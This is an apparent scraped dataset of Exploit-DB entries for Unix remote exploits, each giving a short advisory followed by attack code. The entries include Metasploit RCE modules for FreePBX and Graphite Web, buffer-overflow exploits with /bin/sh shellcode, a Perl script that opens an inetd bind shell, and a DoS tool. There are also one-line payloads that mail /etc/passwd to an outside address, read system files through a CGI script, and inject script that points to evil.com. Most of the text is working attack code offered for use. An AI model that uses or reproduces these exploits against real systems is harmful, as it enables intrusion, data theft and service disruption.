deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32512
Description: FreePBX - 'config.php' Remote Code Execution (Metasploit)
Type: remote
Platform: unix
Date: 2014-03-25
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "FreePBX config.php Remote Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in FreePBX version 2.9, 2.10, and 2.11.
        It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php"
        parameters "function" and "args".
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'i-Hmx', # Vulnerability discovery
          '0x00string', # PoC
          'xistence <xistence[at]0x90.nl>' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2014-1903'],
          ['OSVDB', '103240'],
          ['EDB', '32214'],
          ['URL', 'http://issues.freepbx.org/browse/FREEPBX-7123']
        ],
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          ['FreePBX', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 21 2014",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to the FreePBX installation', '/'])
        ], self.class)

      register_advanced_options(
        [
          OptString.new('PHPFUNC', [true, 'The PHP execution function to use', 'passthru'])
        ], self.class)
  end


  def check
    vprint_status("#{peer} - Trying to detect installed version")

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, "admin", "CHANGES")
    })

    if res and res.code == 200 and res.body =~ /^(.*)$/
      version = $1
    else
      return Exploit::CheckCode::Unknown
    end

    vprint_status("#{peer} - Version #{version} detected")

    if version =~ /2\.(9|10|11)\.0/
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    rand_data = rand_text_alpha_lower(rand(10) + 5)

    print_status("#{peer} - Sending payload")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path, "admin", "config.php"),
      'vars_get' => {
        "display" => rand_data,
        "handler" => "api",
        "function" => datastore['PHPFUNC'],
        "args" => payload.encoded
      }
    })

    # If we don't get a 200 when we request our malicious payload, we suspect
    # we don't have a shell, either.
    if res and res.code != 200
      print_error("#{peer} - Unexpected response, exploit probably failed!")
    end

  end

end
Exploit-DB #27992
Description: FreeType - '.TTF' File Remote Buffer Overflow
Type: remote
Platform: unix
Date: 2006-06-08
Author: Josh Bressers

Exploit:
source: https://www.securityfocus.com/bid/18326/info

FreeType is prone to a buffer-overflow vulnerability. This issue is due to an integer-underflow that results in a buffer being overrun with attacker-supplied data.

This issue allows remote attackers to execute arbitrary machine code in the context of applications that use the affected library. Failed exploit attempts will likely crash applications, denying service to legitimate users.

FreeType versions prior to 2.2.1 are vulnerable to this issue.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27992.zip
Exploit-DB #22292
Description: Frisk F-Prot AntiVirus 3.12b - Command Line Scanner Buffer Overflow
Type: remote
Platform: unix
Date: 2003-02-26
Author: Knud Erik Hojgaard

Exploit:
source: https://www.securityfocus.com/bid/6969/info

Frisk's F-Prot Antivirus for Linux and BSD is prone to a buffer overflow in file name parameters that are passed to the command line scanner. If a backup script is launched by a privileged user to scan the filesystem scans a file with an unusually long name, arbitrary code could potentially execute on the system in the security context of the script's owner. 

#!/usr/bin/perl
# knud
$len = 1000;
$ret = 0xbfbffb7f; # on my 4.7-RELEASE
$nop = "\x90";
$offset = 0;
$shellcode ="\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56". #freebsd 29bytes
            "\xb0\x3b\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f". #execve /bin/sh 
            "\x62\x69\x6e\x2f\x73\x68\x23";                 #zillionATsafemode.org

if (@ARGV == 1) {
    $offset = $ARGV[0];
}
for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}
$buffer .= $shellcode;
print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
$new_ret = pack('l', ($ret + $offset));
for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}
local($ENV{'EGG'}) = $buffer; 
$cakeman = "ABC" . $new_ret x 247 ; 
exec("f-prot $cakeman");</PRE></BODY></HTML>
Exploit-DB #20449
Description: GlimpseHTTP 1.0/2.0 / WebGlimpse 1.0 - Piped Command
Type: remote
Platform: unix
Date: 1996-07-03
Author: Razvan Dragomirescu

Exploit:
source: https://www.securityfocus.com/bid/2026/info

WebGlimpse and GlimpseHTTP are web indexing and search engine programs with some associated management scripts. GlimpseHTTP up to and including 2.0, and WebGlimpse prior to version 1.5, suffer from a common vulnerability involving the component "aglimpse". This script fails to filter the pipe metacharacter, allowing arbitrary command execution. The demonstration exploit for this vulnerability includes the unix shell "IFS" (Internal Field Separator) variable for situations where the web server filters space characters - by setting this to an acceptable character ("5" in the example exploit) it is possible to use commands with more than one field. (eg., "mail me@myhost.tld"). 

GET /cgi-bin/aglimpse|IFS=5;CMD=mail5drazvan\@pop3.kappa.ro\</etc/passwd;eval5$CMD;echo
Exploit-DB #20327
Description: GNU Ffingerd 1.19 - 'Username' Validity Disclosure
Type: remote
Platform: unix
Date: 1999-08-23
Author: Eilon Gishri

Exploit:
source: https://www.securityfocus.com/bid/1841/info

A vulnerability in Ffingerd version 1.19, the popular remote user-information server, which allows a remote user to determine whether or not a given username exists on the system.

Normally, if a user has declined to be open to finger requests, a finger attempt will elicit this response: 

'That user does not want to be fingered'

However, if a remote user attempts to finger a nonexistent username, the attempt will return the default message:

'That user does not want to be fingered.'

The extra '.' at the end of the second message reveals that the message was generated as a result of an attempt to finger a nonexistent user, as opposed to one who simply does not wish to be fingered. As a result, an attacker familiar with the discrepancy between the two failure message strings will be able to test the validity of usernames. Having this information can assist an attacker in carrying other compromises of system security.

finger username@host
Exploit-DB #27752
Description: Graphite Web - Unsafe Pickle Handling (Metasploit)
Type: remote
Platform: unix
Date: 2013-08-21
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'       => 'Graphite Web Unsafe Pickle Handling',
      'Description'   => %q{
        This module exploits a remote code execution vulnerability in the pickle
        handling of the rendering code in the Graphite Web project between version
        0.9.5 and 0.9.10(both included).
      },
      'Author'     =>
        [
          'Charlie Eriksen' # Initial discovery and exploit
        ],
      'License'     => MSF_LICENSE,
      'References'    =>
        [
          [ 'CVE', '2013-5093'],
          [ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']
        ],
      'Platform'      => 'unix',
      'Arch'        => ARCH_CMD,
      'Privileged'    => false,
      'Targets'     => [ ['Automatic', {} ] ],
      'DisclosureDate' => 'Aug 20 2013',
      'DefaultTarget'  => 0,
      'Payload'     =>
        {
          'DisableNops' => true,
          'Space'      => 16384,
          'Compat'    =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'python generic telnet netcat perl ruby'
            }
        }))

    register_options(
      [
        OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])
      ], self.class)

  end

  def check
    response = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'render', 'local'),
      'method' => 'POST'
    })

    if response and response.code == 500
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."

    print_status("Sending exploit payload...")

    response = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'render', 'local'),
      'method' => 'POST',
      'data'    => data
    })
  end
end
Exploit-DB #20462
Description: Hylafax 4.0 pl2 Faxsurvey - Remote Command Execution
Type: remote
Platform: unix
Date: 1998-08-04
Author: Tom

Exploit:
source: https://www.securityfocus.com/bid/2056/info

Hylafax is a popular fax server software package designed to run on multiple UNIX operating systems. Unpatched version of Hylafax ship with an insecure script, faxsurvey, which allows remote command execution with the privileges of the web server process. This can be exploited simply by passing the command as a parameter to the script - see exploit. Consequences could include web site defacements, exploiting locally accessible vulnerabilities to gain further privileges, etc. 


http://target.host/cgi-bin/faxsurvey?/bin/cat%20/etc/passwd
Exploit-DB #25335
Description: IBM iSeries AS400 LDAP Server - Remote Information Disclosure
Type: remote
Platform: unix
Date: 2005-04-04
Author: Shalom Carmel

Exploit:
source: https://www.securityfocus.com/bid/12991/info

A remote information disclosure issue affects IBM iSeries AS400 LDAP Server. This issue is due to a failure of the application to properly secure sensitive information.

An authenticated attacker may leverage this issue to disclose user names and account information of users in their group. This may facilitate further attacks against the affected server.

ldapsearch -h as400.example.com -b "cn=accounts,os400-sys=S0011223.example.com" -D "os400-profile=SCARMEL,cn=accounts,os400-sys=S0011223.example.com" -w as400Password -L -s sub "os400-profile=LESLIE"
Exploit-DB #31706
Description: IBM Lotus Expeditor 6.1 - URI Handler Command Execution
Type: remote
Platform: unix
Date: 2008-04-24
Author: Thomas Pollet

Exploit:
source: https://www.securityfocus.com/bid/28926/info

IBM Lotus Expeditor is prone to a command-execution vulnerability because it fails to properly sanitize input.

Successfully exploiting this issue allows remote attackers to execute arbitrary commands in the context of users that follow malicious URIs.

We don't know which specific versions of IBM Lotus Expeditor are affected. We will update this BID as more information emerges. 

cai:"%20-launcher%20\\6.6.6.6\d$\trojan
Exploit-DB #21947
Description: IBM Websphere Edge Server 3.6/4.0 - Cross-Site Scripting
Type: remote
Platform: unix
Date: 2002-10-23
Author: Rapid7

Exploit:
source: https://www.securityfocus.com/bid/6000/info

A vulnerability has been discoverered in the Caching Proxy component bundled with the IBM Websphere Edge Server.

It has been reported that the Caching Proxy is vulnerable to cross site scripting attacks. Due to insufficient sanitization of user-supplied input it is possible for an attacker to construct a malicious link which contains arbitrary HTML and script code, which will be executed in the web client of a user who visits the malicious link.

Attacks of this nature may make it possible for attackers to steal cookie-based authentication credentials.

Request the following path from the caching proxy server:

/"><img%20src="javascript:alert(document.domain)">
Exploit-DB #21948
Description: IBM Websphere Edge Server 3.69/4.0 - HTTP Header Injection
Type: remote
Platform: unix
Date: 2002-10-23
Author: Rapid7

Exploit:
source: https://www.securityfocus.com/bid/6001/info

A vulnerability has been discovered in the Caching Proxy component bundled with the IBM Websphere Edge Server.

Due to insufficient sanitization of user-supplied input it is possible for an attacker to construct a malicious link which contains arbitrary HTML and script code, which will be executed in the header of the website visited by the victim.

Attacks of this nature may make it possible for attackers to steal cookie-based authentication credentials. 

GET /%0a%0dLocation:%20http://www.evil.com/"><img%20src="javascript:alert
(document.domain)">HTTP/1.0
Exploit-DB #20374
Description: ISC BIND 8.1 - Host Remote Buffer Overflow
Type: remote
Platform: unix
Date: 2000-10-27
Author: antirez

Exploit:
// source: https://www.securityfocus.com/bid/1887/info

An exploitable buffer overflow vulnerability exists in certain non-current versions of the ISC host command. 

host can be used to issue an AXFR command to effect a zone transfer for a given domain name. In affected versions of host, if the AXFR query yields a response from the server which exceeds 512 bytes in length (possible, since TCP DNS messages can be up to 65535 bytes in length), the response can overflow the relevant buffer onto the stack, allowing the return address of the function to be modified. This may allow an operator of a malicious nameserver to gain control of a system on which host is being run when a query is made.

command line:

./host -l -v -t any somezone.org <fake server>

proof of concepts exploit:

/* hostexp.c
* cc hostexp.c -o hostexp
*
* usage: ./hostexp | nc -l -p 53
*/

#include <stdio.h>
#include <netinet/in.h>

int main(void)
{
int offset = 140;
unsigned int base = 0xbffff74c+offset, i;
char shellcode[] = /* 48 bytes, ripped */
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/ls";
unsigned short a = htons(1024);
char buffer[1026];

memcpy(buffer, &a, 2);
memset(buffer+2, 'A', 100); /* avoid response processing */
memset(buffer+102, 0x90, 100);
memcpy(buffer+202, shellcode, 48);
for (i = 202+48; i < 202+48+600; i+=4)
memcpy(buffer+i, &base, 4);
write(fileno(stdout), buffer, 1026);
return 0;
}
Exploit-DB #20660
Description: KICQ 1.0 - Arbitrary Command Execution
Type: remote
Platform: unix
Date: 2001-02-14
Author: Marc Roessler

Exploit:
source: https://www.securityfocus.com/bid/2443/info

KICQ is an ICQ-compatible interactive messaging client for Unix. Versions of KICQ are vulnerable to remote execution of arbitrary commands embedded in URLs.

A maliciously-composed URL containing shell metacharacters and shell commands can be sent in an instant message by an attacker.

When the KICQ user clicks this link, the hostile code contained in the URL will execute with the privilege level of the user running KICQ. 

* Attacker composes malicious URL, ie:

http://www.attack.com/index.html'&xterm&'truehttp://www.attack.com </external/http://www.attack.com/index.html'&xterm&'truehttp://www.attack.com>..............................................................

('.' characters = spaces)

* To the target user, the above URL appears to be:

"http://www.attack.com/" </external/http://www.attack.com/>

* When the target user opens the URL, the shell commands contained within it (ie 'xterm') will be executed, potentially without warning to the user.
Exploit-DB #20646
Description: LICQ 0.85/1.0.1/1.0.2 - Remote Buffer Overflow
Type: remote
Platform: unix
Date: 2000-12-26
Author: Stan Bubrouski

Exploit:
// source: https://www.securityfocus.com/bid/2406/info

At least one version of LICQ is vulnerable to a remote buffer overflow. By sending many characters (12000-16000) to the port on which LICQ is listening, an attacker can cause excessive data to be copied onto the stack and overwrite critical parts of the stack frame such as the calling functions' return address. Since this data is supplied by the user it can alter the program's flow of execution.

/*
 * Name: Licqkill.c
 * Author: Stan Bubrouski <stan@ccs.neu.edu>
 * Date: December 26, 2000
 * Description: Licq will crash when 16707 or more characters are sent to the port
 *              Licq is listening on.  Finding the port Licq is running on is pretty
 *              simple because by default it starts using ports around 1100 or so.  This
 *              has been tested against Licq v.85 and v1.0.2
 * Purpose: Proof-of-concept tool for the Licq Denial of Service vulnerability.
 */

#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

int main(int argc, char **argv)
{
	char buf[18000];
	int i, sock, result;
	struct sockaddr_in sin;
	struct hostent *hn;

	printf("licqkill.c - Licq remote DoS by Stan Bubrouski <stan@ccs.neu.edu>\n\n");

	if (argc < 3) 
	{
		fprintf(stderr, "Usage: %s <host> <port>\n", argv[0]);
		exit(-1);
	}

	hn = gethostbyname(argv[1]);

	if (!hn)
	{
		fprintf(stderr, "%s: host lookup failure\n", argv[1]);
		exit(-1);
	}

	sin.sin_family = AF_INET;
	sin.sin_port = htons(atoi(argv[2]));
	sin.sin_addr = *(struct in_addr *)hn->h_addr;
	sock = socket(AF_INET, SOCK_STREAM, 0);
	result = connect(sock, (struct sockaddr *)&sin, sizeof(struct sockaddr_in));

	if (result != 0) 
	{ 
		fprintf(stderr, "Failed to establish connection to %s\n", argv[1]);
		exit(-1);
	}
	
	if (sock < 0)
	{
		fprintf(stderr, "Socket error.");
		exit(-1);
	}

	for (i=0; i<18000; i++)
		strncat(buf, "A", 1);
	send(sock, buf, sizeof(buf), 0);
	close(sock);
	fprintf(stdout, "Data sent\n\n");
}
Exploit-DB #21974
Description: LPRNG html2ps 1.0 - Remote Command Execution
Type: remote
Platform: unix
Date: 2002-10-31
Author: Sebastian Krahmer

Exploit:
source: https://www.securityfocus.com/bid/6079/info

A vulnerability has been discovered in the html2ps filter which is included in the lprng print system.

It has been reported that it is possible for a remote attacker to execute arbitrary commands. The attacker must reportedly already have access to the 'lp' (or equivalent) account to exploit this condition.

This cause of this vulnerability is that html2ps may open files using unsanitized input that may be supplied by a potentially malicious user. 

#!/usr/bin/perl -W

# html2ps remote "lp" exploit. Opens shell on port 7350.
# If used for testing remote machines, /etc/printcap must
# contain apropriate remote printernames etc. and lpd must
# be set up correctly.
# (C) 2002 Sebastian Krahmer, proof of concept exploit.

# Brief problem description: lprng calls printfilters as any
# other print-spooloing systems do. It calls them with UID of lp
# thats why you get lp-user shell later. The html2ps filter which is
# a perl script is called to convert the evil.html to .ps.
# However there it breaks because html2ps calls open() function insecurely
# and some other bad stuff is done too. It tries to convert the IMG embedded
# in the html and invokes some commands which give us access. Thats all. :)


sub usage
{
	print "\n$0 <printhost> <remote-host>\n".
	      "\tprinthost   -- name of printer in /etc/printcap\n".
	      "\tremote-host -- IP or hostname of host where shell appears\n".
	      "'$0 lp 127.0.0.1' is recommended for everyones own machine\n\n";
	exit;
}


my $printhost = shift || usage();
my $remote = shift || usage();

print "Constructing evil.html ...\n";

open O, ">evil.html" or die $!;
print O<<__eof__;
<HTML>
<IMG SRC="|IFS=A;X=A;echo\${X}7350\${X}stream\${X}tcp\${X}nowait\${X}lp\${X}/bin/sh\${X}-i|dd\${X}of=/tmp/f;inetd\${X}/tmp/f">
</HTML>
__eof__

close O;

if (fork() == 0) {
	exec("/usr/bin/lpr", "-P", $printhost, "evil.html");
}
wait;
sleep 3;
print "Connecting ...\n";
exec("/usr/bin/telnet", $remote, 7350);
Exploit-DB #20150
Description: Luca Deri ntop 1.2 a7-9/1.3.1 - Remote Buffer Overflow
Type: remote
Platform: unix
Date: 2000-08-14
Author: anonymous

Exploit:
// source: https://www.securityfocus.com/bid/1576/info


ntop is a network usage monitoring tool for unix systems. It can be invoked at the console or as a server daemon, presenting statistics information via http with the -w parameter. In this mode, it is vulnerable to a buffer overflow before the user connecting to it can be authenticated. If exploited, an attacker can gain remote access to the system with the priviliges ntop is executing with. 

It is interesting to note that setuid ntop drops priviliges before this can be exploited, but is installed on *BSD systems only executable by members of group wheel. This leads to the assumption that it may often be executed as root (since users in wheel typically have root access..), so despite the fact that it drops priviliges it can still yield remote root access for the attacker if exploited when run as root.


#include <stdio.h>
#include <string.h>


char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

void usage()
{
 printf("NTOP ntop-1.2a1 -w mode command execution exploit.\n");
 printf("                                 mat@hacksware.com\n");
 printf("Usage : ./ntop-w-exp | nc victim port\n");
 exit(0);
}

void main( int argc, char *argv[] )
{
  int i,offset=-24;
#define CODE_LEN 240
#define NOP_LEN 50
  char code_buf[CODE_LEN];
  unsigned long esp=0xbedffb00;

  if(argc >= 2) offset = atoi(argv[1]);

  memset(code_buf,0x90,NOP_LEN); //insert NOP CODES
  memcpy(code_buf+NOP_LEN, shellcode, strlen(shellcode));
  for(i=strlen(shellcode)+NOP_LEN;i<=CODE_LEN;i+=4)
     *(long *)&code_buf[i]=(unsigned long)esp-offset;

  printf("GET /");
  for(i=0;i<CODE_LEN; i++)
  {
     putchar(code_buf[i]);
  }
  printf("\r\n\r\n");
}